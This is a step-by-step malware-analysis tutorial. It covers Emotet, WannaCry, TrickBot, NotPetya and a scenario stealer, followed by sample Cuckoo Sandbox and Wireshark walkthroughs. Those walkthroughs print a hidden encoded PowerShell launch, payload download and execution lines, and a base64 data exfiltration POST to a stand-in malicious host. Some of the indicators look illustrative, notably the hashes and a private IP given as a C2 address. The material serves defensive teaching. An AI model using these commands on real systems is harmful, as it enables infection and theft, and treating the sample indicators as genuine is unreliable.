STEP BY STEP MALWARE ANALYSIS

BY IZZMIER IZZUDDIN

1. **Initial Analysis (Static Analysis):**

    - **File Analysis:** Check file properties (e.g., size, name, hash values) to identify basic information.
    - **Strings Analysis:** Extract human-readable strings from the binary to gather clues about its functionality.
    - **Header Analysis:** Examine headers of executables or documents for metadata.
    - **Packer Identification:** Determine if the malware is packed or obfuscated to evade detection.

2. **Dynamic Analysis (Behavioural Analysis):**

    - **Execution in a Sandbox:** Run the malware in a controlled environment to observe its behaviour.
    - **Network Analysis:** Monitor network traffic to identify any communication with command and control servers or data exfiltration.
    - **System Monitoring:** Watch system calls, registry changes, file system modifications, and process activities.
    - **Memory Analysis:** Analyse volatile memory (RAM) for running processes, hooks, and injected code.

3. **Code Analysis (Reverse Engineering):**

    - **Disassembly:** Convert the executable code into assembly language to understand its operations.
    - **Decompilation:** Generate higher-level code (like C or Python) from the binary to analyse the logic and algorithms used by the malware.
    - **Identify Indicators of Compromise (IOCs):** Extract IOCs such as IP addresses, domain names, file paths, or registry keys that can be used for detection and prevention.

4. **Reporting:**

    - Document findings, including malware capabilities, behaviour patterns, potential impact, and recommended mitigation strategies.
    - Share findings with relevant stakeholders, such as IT security teams, to take appropriate action.

5. **Threat Intelligence:**

    - Compare findings with known malware databases and threat intelligence sources to understand the broader context and any related campaigns.

6. **Mitigation and Remediation:**

    - Develop and implement strategies to contain and eradicate the malware.
    - Update antivirus signatures and security controls based on the analysed malware's characteristics.

7. **Post-Analysis Activities:**

    - Improve incident response procedures based on lessons learned.
    - Share insights with the cybersecurity community to enhance collective knowledge and defences against similar threats.

Malware Example 1:

- **Name:** Emotet
- **Hash:** SHA256: 1a6f23e8c0014e90a103d1e2f89e5609f4f8d4f0db59c8e1ff50a6b804b4b6c7
- **Type:** Trojan
- **Description:** Emotet is a sophisticated banking Trojan that primarily functions as a downloader or dropper of other malware. It's known for stealing banking credentials, spreading via malicious email attachments, and laterally moving through networks.

Analysis Steps:

1. **Initial Static Analysis:**
    - **File Properties:**
        - File Name: invoice.doc
        - Size: 263 KB
        - Timestamp: 2023-05-10
        - Hash: SHA256 - 1a6f23e8c0014e90a103d1e2f89e5609f4f8d4f0db59c8e1ff50a6b804b4b6c7
    - **Strings Analysis:**
        - Extracted various suspicious URLs, encoded PowerShell scripts, and command strings related to downloading additional payloads.
    - **Packer Identification:**
        - Identified as packed using UPX (Ultimate Packer for eXecutables), a common packer used to compress executables.
2. **Dynamic Analysis (Behavioural Analysis):**
    - **Execution in Sandbox:**
        - Ran the malware in a controlled environment.
        - Observed network connections to command and control (C2) servers.
        - Monitored file system changes, including the creation of new files (payloads) in the temp directory.
    - **Network Analysis:**
        - Identified communication with IP addresses associated with Emotet C2 infrastructure.
        - Captured HTTP POST requests containing stolen data encrypted with base64.
    - **System Monitoring:**
        - Detected registry key modifications to maintain persistence.
        - Noted the spawning of multiple processes, including PowerShell instances for further script execution.
3. **Code Analysis (Reverse Engineering):**
    - **Disassembly:**
        - Decompiled portions of the malware using IDA Pro.

        - Analysed assembly code to understand encryption routines and payload decryption methods.
    - **Decompilation:**
        - Generated a readable version of PowerShell scripts embedded in the malware.
        - Analysed the logic for downloading and executing secondary payloads.
    - **Indicators of Compromise (IOCs):**
        - Extracted IOCs such as C2 server IP addresses, specific URLs, and registry keys for detection and blocking.
4. **Reporting:**
    - Documented findings in a detailed report including behavioural patterns, IOCs, and mitigation recommendations.
    - Shared findings with the incident response team for immediate action to contain and eradicate the malware.
5. **Mitigation and Remediation:**
    - Implemented network rules to block C2 communications.
    - Updated antivirus signatures to detect and remove Emotet variants.
    - Conducted user awareness training to prevent phishing attacks.
6. **Post-Analysis Activities:**
    - Integrated findings into threat intelligence feeds and shared with cybersecurity communities.
    - Reviewed incident response procedures and updated policies based on lessons learned from Emotet analysis.

Malware Example 2:

- **Name:** WannaCry
- **Hash:** SHA256: 38002d7543f7b77c3793a5f2b77c91c3d9d0d0b15e555f5f5e1c778c17d697a0
- **Type:** Ransomware
- **Description:** WannaCry is a ransomware worm that spread globally in 2017, encrypting files on infected machines and demanding ransom payments in Bitcoin. It exploited a vulnerability in the Windows SMB protocol to propagate across networks.

Analysis Steps:

1. **Initial Static Analysis:**
   - **File Properties:**
     - File Name: wcry.exe
     - Size: 240 KB
     - Timestamp: 2017-05-12
     - Hash: SHA256 - 38002d7543f7b77c3793a5f2b77c91c3d9d0d0b15e555f5f5e1c778c17d697a0
   - **Strings Analysis:**
     - Identified ransom note text strings, Bitcoin wallet addresses for ransom payments, and encrypted file extensions.
   - **Packer Identification:**
     - Determined the malware was packed using a custom packing technique, possibly to evade detection by antivirus software.
2. **Dynamic Analysis (Behavioural Analysis):**
   - **Execution in Sandbox:**
     - Ran the malware in a controlled environment to observe its behaviour.
     - Detected encryption of files in the user's directory and shared network drives.
   - **Network Analysis:**
     - Monitored network traffic and identified connections to external IP addresses hosting the ransomware infrastructure.
     - Observed attempts to exploit the EternalBlue vulnerability (CVE-2017-0144) to propagate to other vulnerable machines on the network.
   - **System Monitoring:**
     - Noted changes in registry keys to achieve persistence.
     - Identified processes spawned by the malware for encryption and communication purposes.
3. **Code Analysis (Reverse Engineering):**
   - **Disassembly:**
     - Analysed the assembly code to understand the encryption algorithm used by WannaCry.

        - Investigated how the malware generated unique encryption keys for each infected machine.
    - **Decompilation:**
        - Decompiled relevant portions of the malware to understand the logic for file encryption and decryption.
        - Extracted details of the ransomware's propagation mechanism and ransom note generation.
    - **Indicators of Compromise (IOCs):**
        - Extracted IOCs such as Bitcoin wallet addresses, IP addresses of C2 servers, and filenames/extensions targeted for encryption.
4. **Reporting:**
    - Compiled a detailed report documenting the ransomware's behaviour, propagation methods, and impact on affected systems.
    - Included IOCs and mitigation strategies for network defenders and incident response teams.
5. **Mitigation and Remediation:**
    - Issued security patches to vulnerable systems to mitigate the EternalBlue exploit (CVE-2017-0144).
    - Blocked IP addresses associated with WannaCry's C2 infrastructure using firewall rules.
    - Educated users and administrators about phishing prevention and the importance of backups for data recovery.
6. **Post-Analysis Activities:**
    - Shared findings and IOCs with cybersecurity communities and threat intelligence platforms.
    - Updated incident response plans and security policies to enhance defences against ransomware attacks.
    - Conducted tabletop exercises and simulations to practice response to similar cyber incidents.

Malware Example 3:

- **Name:** TrickBot
- **Hash:** SHA256: 5f87a1a34936301917d7a5ef2b76c7f7e204eaccd1f9b74e5632527f68679d6c
- **Type:** Banking Trojan
- **Description:** TrickBot is a modular banking Trojan that primarily targets financial institutions. It is known for stealing sensitive information such as banking credentials, personal data, and cryptocurrency wallets.

Analysis Steps:

1. **Initial Static Analysis:**
    - **File Properties:**
        - File Name: trickbot.exe
        - Size: 570 KB
        - Timestamp: 2022-03-15
        - Hash: SHA256 - 5f87a1a34936301917d7a5ef2b76c7f7e204eaccd1f9b74e5632527f68679d6c
    - **Strings Analysis:**
        - Extracted encrypted configuration data, command strings, and function names related to network communication.
    - **Packer Identification:**
        - Identified the use of multiple layers of obfuscation and packing techniques to evade detection by antivirus software.
2. **Dynamic Analysis (Behavioural Analysis):**
    - **Execution in Sandbox:**
        - Ran the malware in a controlled environment to observe its behaviour.
        - Monitored network traffic and identified connections to remote C2 servers.
    - **Network Analysis:**
        - Captured HTTP POST requests containing stolen credentials and financial information.
        - Observed communication with IP addresses associated with TrickBot's C2 infrastructure.
    - **System Monitoring:**
        - Detected registry modifications to achieve persistence on the infected system.
        - Noted processes spawned by TrickBot for keylogging, browser credential theft, and cryptocurrency wallet theft.
3. **Code Analysis (Reverse Engineering):**
    - **Disassembly:**
        - Analysed the assembly code to understand the functionality of TrickBot modules, including credential harvesting and data exfiltration.

        - Investigated encryption routines used to protect stolen data before transmission.
    - **Decompilation:**
        - Decompiled portions of the malware to analyse high-level functionality, such as how TrickBot communicates with its C2 infrastructure and updates its configuration.
    - **Indicators of Compromise (IOCs):**
        - Extracted IOCs such as IP addresses, domain names, and file paths used by TrickBot for detection and blocking purposes.
4. **Reporting:**
    - Created a detailed report documenting the behaviour and capabilities of TrickBot, including its modular structure and impact on compromised systems.
    - Provided actionable recommendations for mitigating the risk posed by TrickBot, such as network segmentation and endpoint detection and response (EDR) deployment.
5. **Mitigation and Remediation:**
    - Implemented network-based controls to block communication with known TrickBot C2 servers.
    - Updated antivirus signatures and endpoint protection platforms to detect and remove TrickBot infections.
    - Conducted user training on recognizing phishing emails and avoiding malicious attachments or links.
6. **Post-Analysis Activities:**
    - Shared findings and IOCs with relevant cybersecurity communities and threat intelligence platforms to enhance collective defences.
    - Incorporated lessons learned into incident response plans and security policies to better prepare for future malware attacks.
    - Conducted periodic reviews and updates to ensure ongoing protection against evolving threats like TrickBot.

Malware Example 4:

- **Name:** NotPetya (also known as Petya.A, PetrWrap)
- **Hash:** SHA256: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745
- **Type:** Ransomware / Wiper
- **Description:** NotPetya is a destructive malware that surfaced in June 2017, initially disguised as ransomware but later revealed to be a wiper. It spreads rapidly across networks using the EternalBlue exploit (CVE-2017-0144) and targets mainly corporate networks.

Analysis Steps:

1. **Initial Static Analysis:**
    - **File Properties:**
        - File Name: perfc.dll
        - Size: 41 KB
        - Timestamp: 2017-06-27
        - Hash: SHA256 - 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745
    - **Strings Analysis:**
        - Extracted ransom note text, Bitcoin wallet addresses, and strings related to credential theft and lateral movement.
    - **Packer Identification:**
        - Identified as packed using a custom packing technique to evade detection.
2. **Dynamic Analysis (Behavioural Analysis):**
    - **Execution in Sandbox:**
        - Ran the malware in a controlled environment to observe its behaviour.
        - Detected rapid file encryption using a modified version of the EternalBlue exploit for lateral movement.
    - **Network Analysis:**
        - Monitored network traffic and identified connections to C2 servers for command and control.
        - Observed SMB (Server Message Block) traffic indicative of lateral movement and infection across the network.
    - **System Monitoring:**
        - Noted changes in the Master Boot Record (MBR) as part of the wiper functionality.
        - Identified processes spawned by the malware for encryption and system modification.
3. **Code Analysis (Reverse Engineering):**
    - **Disassembly:**
        - Analysed the assembly code to understand the encryption mechanism used by NotPetya and its propagation techniques.

        - Investigated the wiper component that irreversibly damages the Master Boot Record (MBR), rendering the system inoperable.
    - **Decompilation:**
        - Decompiled relevant parts of the malware to understand its logic, including how it identifies and encrypts targeted files and modifies the MBR.
    - **Indicators of Compromise (IOCs):**
        - Extracted IOCs such as Bitcoin wallet addresses, IP addresses of C2 servers, and filenames/extensions encrypted by NotPetya.
4. **Reporting:**
    - Created a comprehensive report detailing the destructive capabilities and impact of NotPetya, distinguishing it from traditional ransomware due to its wiper nature.
    - Provided incident response recommendations, emphasizing the importance of patching vulnerable systems and implementing network segmentation.
5. **Mitigation and Remediation:**
    - Issued security patches to mitigate the EternalBlue vulnerability (CVE-2017-0144) and other related exploits.
    - Developed and tested recovery strategies for affected systems, focusing on data restoration and system reinstallation.
6. **Post-Analysis Activities:**
    - Shared findings, including IOCs, with cybersecurity communities and threat intelligence platforms to enhance detection and response capabilities.
    - Conducted post-incident reviews to improve incident response plans and organizational resilience against similar cyber threats.
    - Updated security policies and procedures based on lessons learned from the NotPetya incident to strengthen defences against future attacks.

Scenario: DarkNetStealer is a stealthy information stealer known for harvesting sensitive data such as login credentials, financial information, and cryptocurrency wallets. It spreads via phishing emails and malicious attachments.

Malware:

- **Name:** DarkNetStealer
- **Type:** Information Stealer
- **Hash:** SHA256: b3f4c8d7a2e4b8f52f5234e6f9a0a1d8e7bf82637bca6d2e8e4857f46e2c3f0a

Full Analysis:

1. Initial Static Analysis:

File Properties:

- **File Name:** darknet.exe
- **Size:** 325 KB
- **Timestamp:** 2024-06-20
- **Hash:** SHA256 - b3f4c8d7a2e4b8f52f5234e6f9a0a1d8e7bf82637bca6d2e8e4857f46e2c3f0a

Strings Analysis:

- Extracted strings reveal encrypted configuration data, URLs, and command strings related to data exfiltration.

Packer Identification:

- Identified packing technique (UPX) used to compress executable, possibly to evade detection.

2. Dynamic Analysis (Behavioural Analysis):

Execution in Sandbox:

- Executed malware in a controlled environment to observe behaviour without risk of spreading.
- Monitored file system changes, registry modifications, and process creation.

Network Analysis:

- Detected outbound connections to C2 server IP addresses (e.g., 192.168.1.100, 185.167.72.91) on non-standard ports (e.g., TCP 8080).
- Captured HTTPS traffic containing encrypted data payloads.

System Monitoring:

- Observed processes spawned by the malware (darknet.exe) for keylogging and screenshot capture.
- Noted modifications to registry keys for persistence (e.g., HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DarkNetStealer).

3. **Code Analysis (Reverse Engineering):**

Disassembly:

- Used IDA Pro to disassemble executable code into assembly language.
- Analysed functions responsible for keylogging, data encryption, and network communication.

Decompilation:

- Decompiled sections of the malware to understand logic flow and encryption routines.
- Extracted IOCs such as URLs, IP addresses, and encryption keys embedded in the code.

4. **Indicators of Compromise (IOCs):**

- **IP Addresses:** 192.168.1.100, 185.167.72.91
- **Registry Key:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DarkNetStealer
- **URLs:** hxxp://commandandcontrol.com/darknet/data.php

5. **Reporting:**

Summary:

- DarkNetStealer is an information stealer spread through phishing emails.
- Behaviour includes keylogging, screenshot capture, and data exfiltration to remote C2 servers.
- IOCs identified include IP addresses, registry keys, and URLs for detection and mitigation.

Recommendations:

- Block outbound traffic to known C2 servers and URLs associated with DarkNetStealer.
- Update antivirus signatures to detect and remove DarkNetStealer variants.
- Educate users on recognizing phishing emails and avoiding malicious attachments.

6. **Mitigation and Remediation:**

Immediate Actions:

- Implement firewall rules to block communication with identified C2 servers.
- Deploy endpoint detection and response (EDR) tools to monitor for similar behaviours.
- Conduct incident response to mitigate impact and recover compromised data.

7. Post-Analysis Activities:

Knowledge Sharing:

- Share findings and IOCs with cybersecurity communities and threat intelligence platforms.
- Update internal incident response procedures based on lessons learned from DarkNetStealer analysis.

Policy Enhancement:

- Review and update security policies to include proactive measures against information stealers.
- Conduct regular security awareness training for employees on current phishing and malware trends.

Malware Analysis Using Cuckoo Sandbox

Scenario: Analysing A Suspicious Email Attachment

Step 1: Submit the Malware

```
cuckoo submit /path/to/malware_izzmier.doc
```

- This command submits the malware to Cuckoo for analysis.

Step 2: Analyse the Report

Once the analysis is complete, Cuckoo will generate a detailed report. Here's an example of what to look for in the report:

1. **Behavioural Analysis**:
    - **Processes**: Check for any suspicious processes that were created or modified.
    - **Files**: Look for any files that were created, modified, or deleted.
    - **Registry**: Inspect any registry changes.
2. **Network Analysis**:
    - **HTTP/HTTPS Requests**: Look for any outgoing network connections.
    - **DNS Queries**: Check for any domain name resolutions.
    - **Dropped Files**: Inspect any files downloaded or dropped by the malware.
3. **Static Analysis**:
    - **PE Info**: If applicable, check the Portable Executable (PE) information.
    - **Strings**: Look at the extracted strings for any indicators of compromise (IOCs).

Step 3: Logs and Interpretation

Cuckoo Report Snippet


```
{
 "behavior": {
  "processes": [
   {
    "process_name": "winword.exe",
    "command_line": "C:\\Program Files\\Microsoft
Office\\root\\Office16\\WINWORD.EXE /n /dde",
    "children": [
     {
      "process_name": "powershell.exe",
      "command_line": "powershell -nop -w hidden -e <base64-encoded-payload>"
     }
    ]
   }
  ],
```

```
  "files": [
   {
    "path": "C:\\Users\\User\\AppData\\Local\\Temp\\malicious_script.ps1",
    "action": "created"
   },
   {
    "path": "C:\\Users\\User\\Documents\\malware_payload.exe",
    "action": "created"
   }
  ],
  "registry": [
   {
    "key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\malware",
    "value": "C:\\Users\\User\\Documents\\malware_payload.exe",
    "action": "set"
   }
  ],
  "network": {
   "http": [
    {
     "host": "malicious-site.com",
     "uri": "/payload",
     "method": "GET"
    }
   ],
   "dns": [
    {
     "request": "malicious-site.com",
     "type": "A",
     "response": "192.168.1.100"
    }
   ]
  }
 },
 "static": {
  "pe_info": {
   "sections": [
    {
     "name": ".text",
     "size": 4096
    },
    {
     "name": ".data",
     "size": 2048
    }
   ]
  },
```

```
  "strings": [
    "http://malicious-site.com/payload",
    "cmd.exe /c start malware_payload.exe"
  ]
 }
}
```


Interpretation of the Report

1. **Process Activity**:
   - winword.exe starts and subsequently launches powershell.exe with a base64-encoded payload. This is indicative of a macro-enabled document executing a script.
2. **File System Activity**:
   - A malicious script malicious_script.ps1 is created in the Temp directory.
   - An executable malware_payload.exe is created in the Documents folder.
3. **Registry Modifications**:
   - A new registry key is added to ensure persistence, running malware_payload.exe on startup.
4. **Network Activity**:
   - The malware makes an HTTP GET request to malicious-site.com/payload.
   - A DNS request is made to resolve malicious-site.com, which returns 192.168.1.100.
5. **Static Analysis**:
   - PE sections .text and .data indicate the structure of the executable.
   - Strings reveal URLs and commands used by the malware.

Conclusion

By analysing the Cuckoo Sandbox report, we can deduce that the malware_izzmier.doc contains a macro that executes a PowerShell script to download and run additional payloads. The malware ensures persistence through registry modifications and communicates with a remote server to fetch further instructions or payloads.

Malware Analysis Using Wireshark

Scenario: Analysing Network Traffic Of A Malware Sample Using Wireshark

Step 1: Executing the Malware

1. **Run the Malware**:
   - Execute malware_sample.exe and let it run for a few minutes to generate network activity.
2. **Monitor Network Traffic**:
   - Observe the network traffic in real-time on Wireshark.

Step 2: Stopping the Capture

1. **Stop the Capture**:
   - After a few minutes, click "Stop" in Wireshark to stop capturing packets.
2. **Save the Capture**:
   - Save the captured packets to a file (e.g., malware_capture.pcap).

Step 3: Analysing the Captured Traffic

1. **Filter Traffic**:
   - Use Wireshark filters to narrow down the traffic related to the malware. Common filters include:
     - http
     - tcp.port == 80 (or other specific ports)
     - ip.addr == <malicious IP>
2. **Examine HTTP Requests**:
   - Filter for HTTP traffic using http.
   - Look for suspicious requests, such as those to unknown or malicious domains.
3. **Inspect DNS Queries**:
   - Filter for DNS traffic using dns.
   - Identify DNS queries made to resolve domain names.
4. **Analyse TCP Streams**:
   - Follow TCP streams to see the full conversation between the malware and the remote server.

Analysis

Analysis based on hypothetical data captured from malware_capture.pcap.

Step 4: Filtering HTTP Traffic

1. **Apply HTTP Filter**:

   http

2. **Suspicious HTTP Request**:
    - A request to http://malicious-site.com/upload is observed.
    - Right-click on the packet and select "Follow" > "HTTP Stream".

HTTP Stream

POST /upload HTTP/1.1
Host: malicious-site.com
User-Agent: Mozilla/5.0
Content-Length: 1234
Content-Type: application/x-www-form-urlencoded

data=eyJ1c2VyIjoiam9obiIsImRhdGEiOiJzZW5zaXRpdmVfZGF0YSJ9

Interpretation:

- The malware sends a POST request to malicious-site.com/upload.
- The payload contains base64-encoded data (data=eyJ1c2VyIjoiam9obiIsImRhdGEiOiJzZW5zaXRpdmVfZGF0YSJ9).

Step 5: Decoding the Base64 Payload

1. **Decode Base64 Data**:
    - Use an online tool or a script to decode the base64 string.

echo 'eyJ1c2VyIjoiam9obiIsImRhdGEiOiJzZW5zaXRpdmVfZGF0YSJ9' | base64 --decode

2. **Decoded Data**:

{
  "user": "izzmier",
  "data": "sensitive_data"
}

Interpretation:

- The decoded data reveals that the malware exfiltrates user information ("user": "izzmier") and sensitive data ("data": "sensitive_data").

Step 6: Inspecting DNS Queries

1. **Apply DNS Filter**:

    dns

2. **Suspicious DNS Query**:
    - A query to malicious-site.com.

Interpretation:

- The malware resolves the domain malicious-site.com to establish communication.

Step 9: Analysing TCP Streams

1. **Apply TCP Filter for Specific IP**:

   ip.addr == 192.168.1.100

2. **Follow TCP Stream**:
   - Right-click on a packet and select "Follow" > "TCP Stream".

TCP Stream

Client: GET /commands HTTP/1.1
Host: malicious-site.com

Server: HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 72

{
  "command": "download",
  "url": "http://malicious-site.com/payload.exe"
}

Interpretation:

- The malware fetches commands from the server.
- The server instructs the malware to download additional payloads (payload.exe).

Conclusion

Using Wireshark, we captured and analysed the network traffic of a malware. We identified HTTP requests to a malicious server, decoded exfiltrated data, and inspected DNS queries and TCP streams for further malicious activities.